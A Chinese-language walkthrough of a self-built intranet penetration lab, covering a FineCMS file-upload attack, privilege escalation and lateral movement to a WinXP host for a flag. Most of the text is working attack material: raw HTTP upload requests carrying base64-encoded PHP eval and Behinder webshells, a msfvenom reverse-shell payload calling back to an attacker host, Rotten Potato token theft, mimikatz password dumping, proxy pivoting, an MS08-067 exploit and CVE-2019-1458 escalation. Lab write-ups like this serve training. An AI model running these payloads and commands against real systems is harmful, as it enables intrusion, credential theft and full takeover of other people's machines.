[PHP知识库]自建靶场2022

目录

一、靶场介绍

二、拿下web服务器

2.1 任意文件上传拿shell

2.2 反弹meterpreter

2.3 提权

2.4 抓取hash

三、内网渗透

3.1信息收集

3.2 配置代理

3.3 nmap扫描端口

3.4 漏洞利用

3.5 远程登录

四、补充：提权

4.1 本地提权

4.2 远程提权

一、靶场介绍

本靶场是一个简单的内网渗透靶场。需要首先拿到win2008服务器的权限，再渗透内网拿下WinXP，win2008上没有flag，flag在WinXP上。综合考验许多知识，暂未使用防护软件，属于一个比较基础的靶场。

主要配置如下：

靶场链接如下：

链接：https://pan.baidu.com/s/14WRh6C8Fdpk5hfmZ9ar8Uw

提取码：ehs8

ps：win10和kali自备

分享多了怕被封，所以目前是10名额，应该打靶场的人也不多。

二、拿下web服务器

2.1 任意文件上传拿shell

nmap 192.168.1.107 -p 8069 -sV

8069端口是web端口，访问 http://192.168.1.107:8069/ 发现是finecms。

百度搜索finecms漏洞

(15条消息) finecms前台任意文件上传——getshell_W小哥-CSDN博客_任意文件上传getshell

前台注册

首先上传一个正常的头像，找到路径

 <?php @eval($_POST['a']); ?>  # 一句胡木马base64加密
IDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4=

构造数据包如下

POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
Host: 192.168.1.107:8069
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.107:8069/index.php?s=member&c=account&m=avatar
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9393
Connection: close
Cookie: 24b16fede9a67c9251d3e7c7161c83ac_ci_session=3t2cf0ogg6kuvah0r0mjc4l35a08hv57; member_uid=4; member_cookie=be39236988f55e17096d


tx=data%3Aimage%2Fphp%3Bbase64%2CIDw/cGhwIEBldmFsKCRfUE9TVFsnYSddKTsgPz4=

上面这个就使用中国菜刀或者中华蚁剑连接就可以了。

这里我使用了冰蝎。base64加密就是冰蝎的马。

POST /index.php?s=member&c=account&m=upload&iajax=1 HTTP/1.1
Host: 192.168.1.107:8069
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.107:8069/index.php?s=member&c=account&m=avatar
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 9393
Connection: close
Cookie: 24b16fede9a67c9251d3e7c7161c83ac_ci_session=3t2cf0ogg6kuvah0r0mjc4l35a08hv57; member_uid=4; member_cookie=be39236988f55e17096d


tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkdD0iYmFzZTY0XyIuImRlY29kZSI7CgkJJHBvc3Q9JHQoJHBvc3QuIiIpOwoJCQoJCWZvcigkaT0wOyRpPHN0cmxlbigkcG9zdCk7JGkrKykgewogICAgCQkJICRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAkJCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1vcGVuc3NsX2RlY3J5cHQoJHBvc3QsICJBRVMxMjgiLCAka2V5KTsKCX0KICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pg==%3D

这里可以上传msf生成的exe。

msfvenom -p  windows/meterpreter/reverse_tcp  lhost=192.168.1.106 lport=4444 -f exe -o web.exe

但是我们都使用冰蝎了，直接反弹shell。

2.2 反弹meterpreter

使用冰蝎反弹meterpreter

2.3 提权

migrate pid  #迁移进程提权
post/multi/recon/local_exploit_suggester #msf找寻提权方案
post/windows/gather/enum_patches  
#找补丁然后使用提权网页
http://bugs.hacking8.com/tiquan/? #提权辅助网页

使用烂土豆配合msf提权

execute -HC -f rottenpotato.exe  #静默执行烂土豆 生成system权限的令牌
use incognito              #使用incognito模块
list_tokens -u              #列出所有令牌
impersonate_token "NT AUTHORITY\\SYSTEM"  #窃取令牌

2.4 抓取hash

这里使用msf自带的mimikatz和hashdump出问题，所以上传了一个github下载的mimikatz

使用下面的命令获得明文密码。

cd C:\Users\Administrator\Desktop
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > password.txt

三、内网渗透

3.1信息收集

通过ipconfig 和arp_scanner探测内网ip

内网网段为10.101.10.0/24

发现内网主机10.101.10.133

run autoroute -s 10.101.10.0/24  添加路由
run autoroute -p   确认添加路由

3.2 配置代理

use auxiliary/server/socks_proxy 
这里要注意的点是版本为4a
set version 4a
run
vim /etc/proxychains.conf 编辑proxychain的配置文件

3.3 nmap扫描端口

proxychains nmap -Pn -sT 10.101.10.133 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984 ,6379,7001,7002,9200, 9300 ,11211,27017,27018，50000,50070,50030,21,22,23,2601,3389 --open

3.4 漏洞利用

80端口啥也没有，看到445端口可以打一下。

use auxiliary/scanner/smb/smb_version #扫描smb版本
search ms08_067 搜索08067漏洞，非常经典的漏洞
set rhost 10.101.10.133
run

smb判断是winxp sp3 所以使用ms08_067打一下。

这里就不需要提权了，已经是system权限。

获得flag C:\Documents and Settings\Administrator\Desktop

cd C:\Documents and Settings\Administrator\Desktop
type flag.txt

flag{aGFwcHkgbmV3IHllYXIh}

flag解密得到

echo "aGFwcHkgbmV3IHllYXIh" | base64 -d

3.5 远程登录

获取hash

或者使用msf自带的mimikatz

load kiwi  加载mimikatz
creds_all  抓取密码

然后3389登录

proxychains rdesktop 10.101.10.133

四、补充：提权

这里作者在打靶场的时候顺便整理了一些浅显的提权知识。

4.1 本地提权

NSudoLC提权

#项目说明
https://nsudo.m2team.org/zh-hans/
#项目地址
https:://github.com/Thdub/NSudo_Installer

使用工具中的x64的NSudoLC.exe，NSudoLG.exe为图形化界面，可以本地提权最新版win10.

NSudoLC.exe -U:S -P:E web.exe

这里需要有管理员的权限，可以提升到system权限

BitsArbitraryFileMoveExploit.exe提权

这个是2020年8月出的一个bendi提权漏洞，影响版本非常多，包括当时最新的win10 算是一个比较近的提权漏洞。但是只能双击执行，会弹出一个system权限的窗口。

4.2 远程提权

本文2.3中的烂土豆结合msf提权，这里换一种方式提权。

上传cve-2019-1458.exe

然后执行cve-2019-1458.exe web.exe

反弹回来system权限的meterpreter

提权可分为几类：

1. 利用系统漏洞提权 （分为本地提权和远程提权）

2. 迁移进程提权 （msf的migrate）

3. bypassuac提权 （msf集成模块）

4. 窃取令牌提权 （烂土豆）

5. 利用数据库提权 （利用数据库的root权限，可以获得最高权限）

本文使用到的链接：

Kernelhub/CVE-2020-0787 at master · iNarcissuss/Kernelhub · GitHub

Kernelhub/cve-2019-1458.exe at master · Ascotbe/Kernelhub · GitHub

本文作者：

sm